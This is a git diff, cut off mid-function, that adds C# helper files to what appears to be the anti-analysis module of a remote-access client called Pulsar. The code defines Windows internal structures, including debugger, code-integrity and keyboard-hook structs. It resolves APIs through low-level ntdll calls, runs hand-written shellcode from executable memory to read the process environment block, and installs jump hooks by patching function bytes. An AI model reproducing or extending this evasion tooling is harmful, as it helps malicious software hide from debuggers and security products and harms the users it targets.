b/Pulsar.Client/Anti/Helper/Structs.cs @@ -0,0 +1,430 @@ +ο»Ώusing System; +using System.Runtime.InteropServices; + +namespace Pulsar.Client.Anti.Helper +{ + public class Structs + { + [StructLayout(LayoutKind.Sequential)] + public struct CONTEXT + { + public uint P1Home; + public uint P2Home; + public uint P3Home; + public uint P4Home; + public uint P5Home; + public uint P6Home; + public long ContextFlags; + public IntPtr MxCsr; + public IntPtr SegCs; + public IntPtr SegDs; + public IntPtr SegEs; + public IntPtr SegFs; + public IntPtr SegGs; + public IntPtr SegSs; + public IntPtr EFlags; + public uint Dr0; + public uint Dr1; + public uint Dr2; + public uint Dr3; + public uint Dr6; + public uint Dr7; + } + + public struct PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY + { + public uint MicrosoftSignedOnly; + } + + [StructLayout(LayoutKind.Explicit)] + public struct SYSTEM_CODEINTEGRITY_INFORMATION + { + [FieldOffset(0)] + public ulong Length; + + [FieldOffset(4)] + public uint CodeIntegrityOptions; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_BASIC_INFORMATION + { + internal IntPtr Reserved1; + internal IntPtr PebBaseAddress; + internal IntPtr Reserved2_0; + internal IntPtr Reserved2_1; + internal IntPtr UniqueProcessId; + internal IntPtr InheritedFromUniqueProcessId; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_KERNEL_DEBUGGER_INFORMATION + { + [MarshalAs(UnmanagedType.U1)] + public bool KernelDebuggerEnabled; + + [MarshalAs(UnmanagedType.U1)] + public bool KernelDebuggerNotPresent; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + public struct ANSI_STRING + { + public short Length; + public short MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_SECUREBOOT_INFORMATION + { + public bool SecureBootEnabled; + public bool SecureBootCapable; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SYSTEM_INFO + { + public ushort ProcessorArchitecture; + ushort Reserved; + public uint PageSize; + public IntPtr MinimumApplicationAddress; + public IntPtr MaximumApplicationAddress; + public IntPtr ActiveProcessorMask; + public uint NumberOfProcessors; + public uint ProcessorType; + public uint AllocationGranularity; + public ushort ProcessorLevel; + public ushort ProcessorRevision; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OSVERSIONINFOEX + { + public int dwOSVersionInfoSize; + public int dwMajorVersion; + public int dwMinorVersion; + public int dwBuildNumber; + public int dwPlatformId; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string szCSDVersion; + public ushort wServicePackMajor; + public ushort wServicePackMinor; + public ushort wSuiteMask; + public byte wProductType; + public byte wReserved; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DOS_HEADER + { + public ushort e_magic; + public ushort e_cblp; + public ushort e_cp; + public ushort e_crlc; + public ushort e_cparhdr; + public ushort e_minalloc; + public ushort e_maxalloc; + public ushort e_ss; + public ushort e_sp; + public ushort e_csum; + public ushort e_ip; + public ushort e_cs; + public ushort e_lfarlc; + public ushort e_ovno; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] + public ushort[] e_res1; + public ushort e_oemid; + public ushort e_oeminfo; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] + public ushort[] e_res2; + public int e_lfanew; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_NT_HEADERS32 + { + public UInt32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER32 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_NT_HEADERS64 + { + public UInt32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER64 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct IMAGE_OPTIONAL_HEADER64 + { + public UInt16 Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public ulong SizeOfStackReserve; + public ulong SizeOfStackCommit; + public ulong SizeOfHeapReserve; + public ulong SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY DataDirectory; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER32 + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public UInt32 BaseOfData; + public UInt32 ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public UInt32 SizeOfStackReserve; + public UInt32 SizeOfStackCommit; + public UInt32 SizeOfHeapReserve; + public UInt32 SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY DataDirectory; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; + public uint AddressOfNames; + public uint AddressOfNameOrdinals; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct IMAGE_SECTION_HEADER + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public byte[] Name; + + public uint VirtualSize; + public uint VirtualAddress; + public uint SizeOfRawData; + public uint PointerToRawData; + public uint PointerToRelocations; + public uint PointerToLinenumbers; + public ushort NumberOfRelocations; + public ushort NumberOfLinenumbers; + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MEMORY_BASIC_INFORMATION + { + public IntPtr BaseAddress; + public IntPtr AllocationBase; + public uint AllocationProtect; + public IntPtr RegionSize; + public uint State; + public uint Protect; + public uint Type; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_ATTRIBUTES + { + public int Length; + public IntPtr RootDirectory; + public IntPtr ObjectName; + public uint Attributes; + public IntPtr SecurityDescriptor; + public IntPtr SecurityQualityOfService; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CLIENT_ID + { + public IntPtr UniqueProcess; + public IntPtr UniqueThread; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LIST_ENTRY + { + public IntPtr Flink; + public IntPtr Blink; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _PEB_LDR_DATA + { + public UInt32 Length; + public Byte Initialized; + public IntPtr SsHandle; + public _LIST_ENTRY InLoadOrderModuleList; + public _LIST_ENTRY InMemoryOrderModuleList; + public _LIST_ENTRY InInitializationOrderModuleList; + public IntPtr EntryInProgress; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _LDR_DATA_TABLE_ENTRY + { + public _LIST_ENTRY InLoadOrderLinks; + public _LIST_ENTRY InMemoryOrderLinks; + public _LIST_ENTRY InInitializationOrderLinks; + public IntPtr DllBase; + public IntPtr EntryPoint; + public UInt32 SizeOfImage; + public UNICODE_STRING FullDllName; + public UNICODE_STRING BaseDllName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct RTL_USER_PROCESS_PARAMETERS + { + public long MaximumLength; + public long Length; + public long Flags; + public long DebugFlags; + public IntPtr ConsoleHandle; + public long ConsoleFlags; + public IntPtr StdInputHandle; + public IntPtr StdOutputHandle; + public IntPtr StdErrorHandle; + public IntPtr CurrentDirectory; + public UNICODE_STRING DllPath; + public UNICODE_STRING ImagePathName; + public UNICODE_STRING CommandLine; + public IntPtr Environment; + public long StartingPositionLeft; + public long StartingPositionTop; + public long Width; + public long Height; + public long CharWidth; + public long CharHeight; + public long ConsoleTextAttributes; + public long WindowFlags; + public long ShowWindowFlags; + public UNICODE_STRING WindowTitle; + public UNICODE_STRING DesktopName; + public UNICODE_STRING ShellInfo; + public UNICODE_STRING RuntimeData; + public IntPtr DLCurrentDirectory; + public long EnvironmentSize; + } + + [StructLayout(LayoutKind.Sequential)] + public unsafe struct PEB + { + public byte InheritedAddressSpace; + public byte ReadImageFileExecOptions; + public byte BeingDebugged; + public byte SpareBool; + public IntPtr Mutant; + public IntPtr ImageBaseAddress; + public IntPtr Ldr; + public IntPtr ProcessParameters; + public IntPtr SubSystemData; + public IntPtr ProcessHeap; + public IntPtr FastPebLock; + public IntPtr AtlThunkSListPtr; + public IntPtr IFEOKey; + public uint CrossProcessFlags; + public IntPtr KernelCallbackTable; + public uint SystemReserved; + public uint AtlThunkSListPtr32; + public IntPtr ApiSetMap; + public uint TlsExpansionCounter; + public IntPtr TlsBitmap; + public fixed uint TlsBitmapBits[2]; + public IntPtr ReadOnlySharedMemoryBase; + public IntPtr SharedData; + public IntPtr ReadOnlyStaticServerData; + public IntPtr AnsiCodePageData; + public IntPtr OemCodePageData; + public IntPtr UnicodeCaseTableData; + public uint NumberOfProcessors; + public uint NtGlobalFlag; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KBDLLHOOKSTRUCT + { + public uint vkCode; + public uint scanCode; + public uint flags; + public uint time; + public IntPtr dwExtraInfo; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Anti/Helper/Utils.cs b/Pulsar.Client/Anti/Helper/Utils.cs new file mode 100644 index 0000000..2076ac6 --- /dev/null +++ b/Pulsar.Client/Anti/Helper/Utils.cs @@ -0,0 +1,746 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Globalization; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Anti.Helper.Structs; +using System.Reflection; +using System.Runtime.CompilerServices; +using static Pulsar.Client.Anti.Helper.Delegates; + +namespace Pulsar.Client.Anti.Helper +{ + public class Utils + { + #region WinApi + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, uint ZeroBits, ref uint RegionSize, uint AllocationType, uint Protect); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] + private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetModuleHandleA(string Library); + + [DllImport("kernelbase.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string Function); + + [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); + + [DllImport("kernelbase.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern uint GetModuleFileName(IntPtr hModule, StringBuilder lpFileName, uint nSize); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern int NtProtectVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, ref UIntPtr RegionSize, uint NewProtect, out uint oldProtect); + + [DllImport("ntdll.dll", SetLastError = true)] + private static extern uint NtQueryVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, uint MemoryInformationClass, ref Structs.MEMORY_BASIC_INFORMATION MemoryInformation, uint MemoryInformationLength, out uint ReturnLength); + + [DllImport("ntdll", SetLastError = true)] + private static extern uint NtClose(IntPtr hObject); + + #endregion + + /// + /// Gets the handle of a specified module using low-level functions. + /// + /// The name of the library to get the handle for. + /// The handle to the module. + public static IntPtr LowLevelGetModuleHandle(string Library) + { + if (IntPtr.Size == 4) + return GetModuleHandleA(Library); + IntPtr hModule = IntPtr.Zero; + Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); + RtlInitUnicodeString(out UnicodeString, Library); + LdrGetDllHandleEx(0, null, null, UnicodeString, ref hModule); + return hModule; + } + + /// + /// Gets the address of a specified function using low-level functions. + /// + /// The handle to the module. + /// The name of the function to get the address for. + /// The address of the function. + public static IntPtr LowLevelGetProcAddress(IntPtr hModule, string Function) + { + if (IntPtr.Size == 4) + return GetProcAddress(hModule, Function); + IntPtr FunctionHandle = IntPtr.Zero; + Structs.UNICODE_STRING UnicodeString = new Structs.UNICODE_STRING(); + Structs.ANSI_STRING AnsiString = new Structs.ANSI_STRING(); + RtlInitUnicodeString(out UnicodeString, Function); + RtlUnicodeStringToAnsiString(out AnsiString, UnicodeString, true); + LdrGetProcedureAddressForCaller(hModule, AnsiString, 0, out FunctionHandle, 0, IntPtr.Zero); + return FunctionHandle; + } + + /// + /// Writes the struct to a pointer. + /// + /// The struct. + /// The pointer to the address that represents the struct. + /// An indicator to whether we should delete the old struct after writing or not. + /// An indicator to whether we should change the ptr memory protection before writing. + /// return true if successful, otherwise false. + public static bool WriteStructToPtr(T structure, IntPtr ptr, bool fDeleteOld, bool ChangeMemoryProtection) + { + try + { + if (ChangeMemoryProtection) + { + uint Old = 0; + ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), PAGE_EXECUTE_READWRITE, out Old); + Marshal.StructureToPtr(structure, ptr, fDeleteOld); + ProtectMemory(ptr, (UIntPtr)Marshal.SizeOf(structure), Old, out Old); + return true; + } + else + { + Marshal.StructureToPtr(structure, ptr, fDeleteOld); + return true; + } + } + catch + { + + } + return false; + } + + public static string GetCurrentCLRModuleName() + { + string[] CLRs = { "clr.dll", "coreclr.dll" }; + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + foreach (string CLR in CLRs) + { + if (module.ModuleName.ToLower() == CLR) + { + return module.ModuleName; + } + } + } + return null; + } + + /// + /// Changes the page protection for an address. + /// + /// The Address to change the protection for. + /// The size of the address. + /// The new protection to apply. + /// The old protection if you wanna set it back again. + /// return true if successfully did it's job, otherwise false. + public static bool ProtectMemory(IntPtr BaseAddress, UIntPtr RegionSize, uint NewProtect, out uint oldProtect) + { + int Status = NtProtectVirtualMemory(new IntPtr(-1), ref BaseAddress, ref RegionSize, NewProtect, out oldProtect); + if (Status == 0) + return true; + return false; + } + + /// + /// Reads a byte from a specified memory address. + /// + /// The memory address to read from. + /// The byte read from the memory address. + public static byte InternalReadByte(IntPtr ptr) + { + unsafe + { + try + { + byte* ptr2 = (byte*)(void*)ptr; + return *ptr2; + } + catch + { + return 0; + } + } + } + + /// + /// Force exits the process even if hooked. + /// + public static void ForceExit() + { + Environment.Exit(0); + unsafe + { + int* ptr = null; + *ptr = 42; + } + throw new Exception(new Random().Next(int.MinValue, int.MaxValue).ToString()); + } + + /// + /// copies memory from a byte array to an IntPtr. + /// + /// The IntPtr destination in which the data will be copied to. + /// The byte array source in which the data will be copied from. + public static void CopyMem(IntPtr dst, byte[] src, bool ChangeProtection) + { + unsafe + { + fixed (byte* source = src) + { + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(dst, (UIntPtr)src.Length, 0x40, out oldProtect)) + { + Marshal.Copy(src, 0, dst, src.Length); + ProtectMemory(dst, (UIntPtr)src.Length, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, 0, dst, src.Length); + } + } + } + } + + /// + /// copies memory from an IntPtr to a byte array. + /// + /// The byte array destination in which the data will be copied to. + /// The IntPtr source in which the data will be copied from. + public static void CopyMem(byte[] dst, IntPtr src, bool ChangeProtection) + { + unsafe + { + fixed (byte* destination = dst) + { + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(src, (UIntPtr)dst.Length, 0x40, out oldProtect)) + { + Marshal.Copy(src, dst, 0, dst.Length); + ProtectMemory(src, (UIntPtr)dst.Length, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, dst, 0, dst.Length); + } + } + } + } + + /// + /// copies memory from an IntPtr to another. + /// + /// The byte array destination in which the data will be copied to. + /// The IntPtr source in which the data will be copied from. + public static void CopyMem(IntPtr dst, IntPtr src, bool ChangeProtection) + { + int sizeDst = Marshal.SizeOf(typeof(IntPtr)); + + byte[] buffer = new byte[sizeDst]; + + if (ChangeProtection) + { + uint oldProtect = 0; + if (ProtectMemory(dst, (UIntPtr)sizeDst, 0x40, out oldProtect)) + { + Marshal.Copy(src, buffer, 0, sizeDst); + Marshal.Copy(buffer, 0, dst, sizeDst); + ProtectMemory(dst, (UIntPtr)sizeDst, oldProtect, out oldProtect); + } + } + else + { + Marshal.Copy(src, buffer, 0, sizeDst); + Marshal.Copy(buffer, 0, dst, sizeDst); + } + } + + + /// + /// Sees if the first string contains the second string. + /// + /// First string to see if it contains the second string. + /// The second string that will be searched for. + /// if the second string contains a string from the first one then the result is true, otherwise false. + public static bool Contains(string First, string Second) + { + if (CultureInfo.InvariantCulture.CompareInfo.IndexOf(First, Second, 0, First.Length, CompareOptions.OrdinalIgnoreCase) >= 0) + { + return true; + } + return false; + } + + /// + /// The method which is invoked to test reflection for IsReflectionEnabled. + /// + /// a random number from 1-99 + private static int TestInvoke() + { + return new Random().Next(1, 99); + } + + /// + /// Checks if reflection is supported before doing reflection operations. + /// + /// Check if we can get a function pointer. + /// Check if we can invoke another function. + /// return true if reflection is enabled and supports the options you provided, otherwise false. + public static bool IsReflectionEnabled(bool FPSupport, bool InvokeSupport) + { + try + { + MethodBase BaseMethodTest = MethodBase.GetCurrentMethod().DeclaringType.GetMethod("TestInvoke", BindingFlags.NonPublic | BindingFlags.Static); + if (BaseMethodTest == null) + return false; + if (InvokeSupport) + { + if (BaseMethodTest.Invoke(null, null) == null || (int)BaseMethodTest.Invoke(null, null) == 0) + return false; + } + + if (FPSupport) + { + if (GetPointer(BaseMethodTest as MethodInfo) == IntPtr.Zero) + return false; + } + return true; + } + catch + { + return false; + } + } + + /// + /// Converts a cast to a stack pointer. + /// + /// The stack pointer of the cast you provided. + private static IntPtr UnsafeCastToStackPointer(ref T o) where T : class + { + unsafe + { +#pragma warning disable CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type + fixed (T* ptr = &o) + { + return (IntPtr)ptr; + } +#pragma warning restore CS8500 // This takes the address of, gets the size of, or declares a pointer to a managed type + } + } + + /// + /// Gets the entry assembly directly using internal .NET functions using reflection. + /// + /// if successful then it returns the entry assembly, otherwise null. + public static Assembly LowLevelGetEntryAssembly() + { + if (!IsReflectionEnabled(false, true)) + return null; + Assembly EntryAsm = null; + try + { + IntPtr AsmPtr = UnsafeCastToStackPointer(ref EntryAsm); + if (AsmPtr != IntPtr.Zero) + { + Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); + if (ObjectHandleOnStackType != null) + { + object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); + FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); + Utils.CallInternalCLRFunction("GetEntryAssembly", typeof(AppDomainManager), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { InstanceObjectHandle }, null); + } + } + } + catch + { + return null; + } + return EntryAsm; + } + + /// + /// Gets the currently executing assembly directly using internal .NET functions using reflection. + /// + /// if successful then it returns the executing assembly, otherwise null. + public static Assembly LowLevelGetExecutingAssembly() + { + if (!IsReflectionEnabled(false, true)) + return null; + Assembly ExecutingAssembly = null; + try + { + IntPtr AsmPtr = UnsafeCastToStackPointer(ref ExecutingAssembly); + if (AsmPtr != IntPtr.Zero) + { + Type ObjectHandleOnStackType = Type.GetType("System.Runtime.CompilerServices.ObjectHandleOnStack"); + Type StackCrawlMarksType = Type.GetType("System.Runtime.CompilerServices.StackCrawlMarkHandle"); + if (ObjectHandleOnStackType != null && StackCrawlMarksType != null) + { + object InstanceObjectHandle = Activator.CreateInstance(ObjectHandleOnStackType); + FieldInfo mPtrFieldObjectHandle = ObjectHandleOnStackType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldObjectHandle.SetValue(InstanceObjectHandle, AsmPtr); + Type StackCrawlMarkEnumType = Type.GetType("System.Threading.StackCrawlMark"); + object LookForMyCaller = Enum.Parse(StackCrawlMarkEnumType, "LookForMyCaller"); + IntPtr StackCrawlMarkPtr = UnsafeCastToStackPointer(ref LookForMyCaller); + if (StackCrawlMarkPtr != IntPtr.Zero) + { + object InstanceStackCrawl = Activator.CreateInstance(StackCrawlMarksType); + FieldInfo mPtrFieldStackCrawl = StackCrawlMarksType.GetField("m_ptr", BindingFlags.NonPublic | BindingFlags.Instance); + mPtrFieldStackCrawl.SetValue(InstanceStackCrawl, StackCrawlMarkPtr); + Utils.CallInternalCLRFunction("GetExecutingAssembly", Type.GetType("System.Reflection.RuntimeAssembly"), typeof(void), new object[] { InstanceStackCrawl, InstanceObjectHandle }, null); + } + } + } + } + catch + { + return null; + } + return ExecutingAssembly; + } + + /// + /// Calls methods in the CLR which isn't normally/directly accessible. + /// + /// The name of the internal function. + /// The class or type that the method is in. + /// The method flags which will be used to find the exact method. + /// The parameters which is used to search for the function using it, will be used instead of Flags if not left null. + /// The parameters passed to the method. can be null. + /// The type arguments if the method is a generic method. + /// the return value of the method (if any). + public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null) + { + try + { + if (!IsReflectionEnabled(false, true)) + return null; + if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) + return null; + + MethodInfo MI = null; + if (Parameters != null) + { + MI = InternalMethodType.GetMethod(InternalMethod, Parameters); + } + else + { + MI = InternalMethodType.GetMethod(InternalMethod, Flags); + } + + if (MI.IsGenericMethod && GenericParameter != null) + { + MI = MI.MakeGenericMethod(GenericParameter); + } + + if (MI != null) + { + object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); + return MI.Invoke(instance, InvokeParameters); + } + return null; + } + catch + { + return null; + } + } + + /// + /// Calls methods in the CLR which isn't normally/directly accessible. + /// + /// The name of the internal function. + /// The class or type that the method is in. + /// The return type of the method to be searched for. + /// The parameters passed to the method. can be null. + /// The type arguments if the method is a generic method. + /// the return value of the method (if any). + public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null) + { + try + { + if (!IsReflectionEnabled(false, true)) + return null; + if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null) + return null; + MethodInfo MI = null; + foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static)) + { + if (methods.Name.ToLower() == InternalMethod.ToLower()) + { + if (methods.ReturnType == ReturnType) + { + MI = methods; + break; + } + } + } + + if (MI.IsGenericMethod && GenericParameter != null) + { + MI = MI.MakeGenericMethod(GenericParameter); + } + + if (MI != null) + { + object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType); + return MI.Invoke(instance, InvokeParameters); + } + return null; + } + catch + { + return null; + } + } + + private static uint PAGE_EXECUTE_READWRITE = 0x40; + private static uint MEM_RELEASE = 0x00008000; + + /// + /// Gets the Process Environment Block with it's struct. + /// + /// returns the PEB. + public static PEB GetPEB() + { + byte[] PEBCode = new byte[20]; + if (IntPtr.Size == 8) + PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 }; + else + PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 }; + IntPtr AllocatedCode = AllocateCode(PEBCode); + if (AllocatedCode != IntPtr.Zero) + { + try + { + GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr)); + IntPtr PebPtr = PebDel(); + FreeCode(AllocatedCode); + if (PebPtr != IntPtr.Zero) + { + return Marshal.PtrToStructure(PebPtr); + } + } + catch + { + FreeCode(AllocatedCode); + } + } + return new PEB(); + } + + /// + /// Allocates assembly code from byte array. + /// + /// The assembly code in byte array. + /// Allocated memory to the assembly code. + public static IntPtr AllocateCode(byte[] Code) + { + IntPtr Allocated = IntPtr.Zero; + uint Length = (uint)Code.Length; + uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE); + if (Status == 0) + { + CopyMem(Allocated, Code, false); + return Allocated; + } + return IntPtr.Zero; + } + + /// + /// Frees the allocated memory. + /// + /// The allocated assembly code to be freed. + /// An indicator if the memory was freed or not. + public static bool FreeCode(IntPtr AllocatedCode) + { + return VirtualFree(AllocatedCode, 0, MEM_RELEASE); + } + + /// + /// Closes a handle. + /// + /// The handle to be closed. + /// true if the handle has been closed, otherwise false. + public static bool CloseHandle(IntPtr Handle) + { + if (NtClose(Handle) == 0) + return true; + return false; + } + + public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength) + { + uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION)); + uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength); + if (Result == 0) + return true; + return false; + } + + /// + /// Installs a function hook. + /// + /// The source function pointer to be hooked. + /// The destination function pointer to be the hooking function. + /// The hooked code which will be written to if you wanna hook the function later (6 bytes in length). + private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked) + { + byte[] HookCode = new byte[6]; + HookCode[0] = 0x90; + HookCode[1] = 0xE9; + if (IntPtr.Size == 8) + { + long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length; + byte[] offsetBytes = BitConverter.GetBytes(offset); + Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); + } + else + { + long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length; + byte[] offsetBytes = BitConverter.GetBytes((int)offset); + Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2); + } + CopyMem(Source, HookCode, true); + Hooked = HookCode; + return true; + } + + /// + /// Installs/Uninstalls a hook to/from the function. + /// + /// The code which is hooked/unhooked to apply. + /// pointer to the function. + public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction) + { + CopyMem(pFunction, code, true); + } + + /// + /// The whitelisted function by the hook which should get the original function pointer. + /// + /// The method to get the pointer for. + /// Returns the pointer if successful, otherwise IntPtr.Zero + public static IntPtr GetPointer(MethodInfo MI) + { + return MI.MethodHandle.GetFunctionPointer(); + } + + /// + /// The whitelisted function by the hook which should get the original function pointer from the delegate. + /// + /// The method to get the pointer for. + /// Returns the pointer if successful, otherwise IntPtr.Zero + public static IntPtr GetPointerDelegate(Delegate DelegateMethod) + { + if (IsReflectionEnabled(false, true)) + { + return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod }); + } + return Marshal.GetFunctionPointerForDelegate(DelegateMethod); + } + + /// + /// Installs a CLR hook. + /// + /// The method to be hooked. + /// The hook method. + /// The original code which will be written to if you wanna unhook the function later (6 bytes in length). + /// The hook code which can be used to hook the function after unhooking it (6 bytes in length). + /// A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function. + /// Returns true if successfully hooked, otherwise false. + public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction) + { + try + { + if (!IsReflectionEnabled(true, true)) + { + HookedCode = null; + pFunction = IntPtr.Zero; + return false; + } + 